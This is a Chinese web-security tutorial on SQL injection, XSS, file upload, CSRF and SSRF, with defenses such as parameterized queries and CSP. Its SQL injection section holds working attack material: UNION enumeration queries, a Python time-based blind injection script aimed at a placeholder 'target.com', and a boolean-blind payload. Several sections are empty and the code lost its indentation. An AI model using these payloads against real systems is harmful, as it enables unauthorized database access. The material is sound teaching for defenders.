常见 WEB 安全漏洞原理及防御措施详解
一、背景概述
在网络攻防体系中,Web 系统通常是攻击者的首选目标。攻击者往往通过 Web 打点的方式,先获取边界 Web 服务器的权限,再以此为跳板实施内网横向渗透。由于 Web 系统通常涉及大量的用户数据和敏感信息,一旦受到攻击或破坏,可能造成数据泄露、服务中断等严重影响。
本文详细阐述了五种常见的 Web 安全漏洞及其防御策略。内容包括 SQL 注入的攻击原理、分类及参数化查询防御;XSS 漏洞的反射型、存储型和 DOM 型区别及 CSP 策略;文件上传漏洞的类型白名单与隔离措施;CSRF 漏洞的 Token 验证与 SameSite 属性配置;以及 SSRF 漏洞的内网访问控制与协议限制。文章强调输入输出验证的重要性,并提供具体的代码示例和配置建议,旨在帮助开发者构建更安全的 Web 应用系统。

在网络攻防体系中,Web 系统通常是攻击者的首选目标。攻击者往往通过 Web 打点的方式,先获取边界 Web 服务器的权限,再以此为跳板实施内网横向渗透。由于 Web 系统通常涉及大量的用户数据和敏感信息,一旦受到攻击或破坏,可能造成数据泄露、服务中断等严重影响。
相较于攻击方,Web 系统也是防守方的重点防护对象。作为安全开发或安全运营人员,及早发现和修复潜在的 Web 安全漏洞,不仅有助于提高互联网业务系统的稳定性,也能降低后期安全运营工作的压力和成本。
SQL 注入漏洞的本质是应用程序未能充分验证和过滤用户提供的输入数据,导致攻击者能够将恶意 SQL 代码注入到应用程序的 SQL 查询中,从而执行未经授权的数据库操作。
针对 SQL 注入的分类没有固定的规范,可从不同的维度分为不同的类型,如:基于注入参数类型、基于请求提交方式、基于获取信息方式等。
(1) 基于联合查询的注入 攻击者利用 UNION 操作符,将恶意查询与应用程序原始查询合并,从而获取额外的数据库信息。攻击者通过不断尝试联合查询,可逐步获取数据库内容。
常规步骤是:首先通过 order by 或 select null 获取返回数据的列数和位置,其次从 information_schema 表中查询当前数据库的表信息、表的字段信息、以及字段对应的数据。
-- 查数据库中的表
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database();
-- 查指定表的字段,如:students
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='students';
-- 查指定字段的值,如:username
SELECT username FROM students;
(2) 基于报错的注入 利用应用程序返回的错误消息来获取数据库信息。攻击者通过构造恶意输入,触发 SQL 错误,进而从错误消息中收集敏感信息,如表名、列名等。
(1) 基于时间的盲注 该类型的注入不会直接返回数据,而是利用延迟函数(如:SLEEP)判断 SQL 查询是否成功执行。攻击者通过观察响应时间来推断注入是否成功,从而逐步获取数据。
核心语句逻辑:逐个遍历返回的字符串,如果匹配了目标字符,则整个查询会 sleep 五秒,否则直接返回。
#coding=utf-8
import requests
import string
import time
table = string.digits + string.ascii_lowercase + string.ascii_uppercase + ' {}_-<>?'
result = ''
for i in range(1, 45):
for j in table:
start = time.time()
url = "http://target.com/test.php"
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
data = {
'id': f"1' and if(substr(({payload}),{i},1)='{j}',sleep(5),1)--+",
'debug': '0'
}
r = requests.post(url, data=data, timeout=1)
end = time.time()
if end - start > 5:
result += j
print(result)
break
(2) 基于布尔的盲注 同'基于时间的盲注'一样,该类型的注入也不会直接返回数据。攻击者利用布尔逻辑来判断 SQL 查询是否成功执行,并通过观察应用程序的响应(TRUE:正常返回,FALSE:没有返回)以推断数据库信息。
核心语句:
1' and if(substr(({payload}),{i},1)='{j}')--+
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $user_input]);
XSS 漏洞的本质是源于应用程序未能充分过滤或转义用户提供的输入数据,使攻击者能够将恶意脚本注入到 Web 页面上,然后在受害者的浏览器中执行这些脚本。该漏洞发生在客户端,控制用户浏览器的一种攻击。
常见危害包括:窃取 Cookie、JS 恶意挖矿、广告刷流量、XSS 蠕虫等。
根据攻击类型和漏洞执行的不同,XSS 漏洞主要分为以下三种类型:
反射型 XSS (Reflected XSS)
存储型 XSS (Stored XSS)
DOM 型 XSS (DOM-based XSS)
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
文件上传漏洞的本质是应用程序未能验证和限制上传文件的类型、大小和位置,导致攻击者可以上传包含恶意代码的文件,从而对服务器和应用程序构成威胁。
主要危害:
CSRF 漏洞是利用用户已经通过身份验证的会话来执行未经授权的操作。攻击者通过伪装成合法用户的请求,可诱使受害者在不知情的情况下执行了意外的操作。
与 XSS 攻击的对比:
SSRF 漏洞允许攻击者通过伪造请求,使目标服务器发起与应用程序本身有关的请求,从而可能导致各种安全问题。
通常情况下,SSRF 攻击的目标是从外网无法访问的内部系统,可能导致敏感数据泄露、内网端口扫描探测、攻击内网 WEB 服务等问题。
常用伪协议:dict 协议、file 协议、gopher 协议等。
整体而言,一切输入都是有害的,输出也不安全!Web 安全问题的核心是输入输出的问题,非法的输入未经严格编码、过滤、验证,以及随意的输出,都会引入各种安全问题。
本文从安全攻防的角度针对常见 WEB 漏洞的原理和防护措施进行了总结,涵盖 SQL 注入、XSS 漏洞、文件上传、CSRF 漏洞、SSRF 漏洞等。在实际开发中,应遵循安全开发生命周期(SDL),在需求、设计、编码、测试各阶段融入安全考量,构建纵深防御体系。
此外,建议定期使用自动化扫描工具结合人工审计的方式进行漏洞排查,并及时关注 OWASP Top 10 等权威安全报告,保持对新型攻击手法的认知。建立完善的应急响应机制,确保在发现漏洞后能快速定位、修复和复盘,持续优化系统的安全性。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online